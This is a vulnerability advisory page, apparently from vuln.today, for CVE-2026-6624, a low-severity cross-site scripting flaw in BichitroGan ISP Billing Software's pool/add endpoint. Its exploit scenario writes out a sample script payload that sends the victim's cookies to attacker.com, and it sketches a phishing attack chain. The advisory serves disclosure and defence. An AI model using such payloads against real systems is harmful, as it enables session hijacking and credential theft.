Skip to main content

Isp Billing Software EUVD-2026-23815

| CVE-2026-6624 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulDB GHSA-xx6p-3747-7pwp
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

9
Severity Changed
Apr 29, 2026 - 01:12 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:12 NVD
4.8 (MEDIUM) 1.9 (LOW)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Severity Changed
Apr 20, 2026 - 10:22 NVD
LOW MEDIUM
CVSS changed
Apr 20, 2026 - 10:22 NVD
2.4 (LOW) 4.8 (MEDIUM)
Analysis Generated
Apr 20, 2026 - 09:45 vuln.today
EUVD ID Assigned
Apr 20, 2026 - 09:30 euvd
EUVD-2026-23815
Analysis Generated
Apr 20, 2026 - 09:30 vuln.today
CVE Published
Apr 20, 2026 - 09:15 nvd
LOW 1.9

DescriptionCVE.org

A weakness has been identified in BichitroGan ISP Billing Software 2025.3.20. Affected is an unknown function of the file /?\_route=pool/add of the component Pool List Interface. Executing a manipulation can lead to cross site scripting. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

Cross-site scripting (XSS) in BichitroGan ISP Billing Software 2025.3.20 allows authenticated high-privilege users to inject malicious scripts via the Pool List Interface (/?_route=pool/add endpoint), affecting data integrity through stored or reflected XSS. The vulnerability requires administrator authentication and user interaction (UI:R), limiting immediate risk; however, publicly available exploit code exists and the vendor has not responded to disclosure, leaving affected deployments without an official patch.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Compromise or obtain admin credentials
Delivery
Craft malicious pool/add URL with XSS payload
Exploit
Deliver link via phishing email to admin or user
Install
Victim clicks link and loads page
C2
Injected JavaScript executes in victim browser
Execute
Attacker exfiltrates session cookies or credentials
Impact
Attacker gains persistent access to billing system

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to possess valid high-privilege (administrator) authentication credentials to the BichitroGan ISP Billing Software web interface. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment While the CVSS score of 2.4 appears minimal, the risk assessment reveals conflicting signals that deserve careful evaluation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker compromises an administrator account at an ISP (via credential theft or social engineering), or operates as a disgruntled insider with admin access. The attacker crafts a malicious URL containing JavaScript payload in the pool/add endpoint (e.g., /?_route=pool/add&pool_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to other administrators or support staff via email or chat, disguised as a legitimate pool configuration link. …
Remediation No vendor-released patch is available at the time of analysis due to the vendor's lack of response. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-23815 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy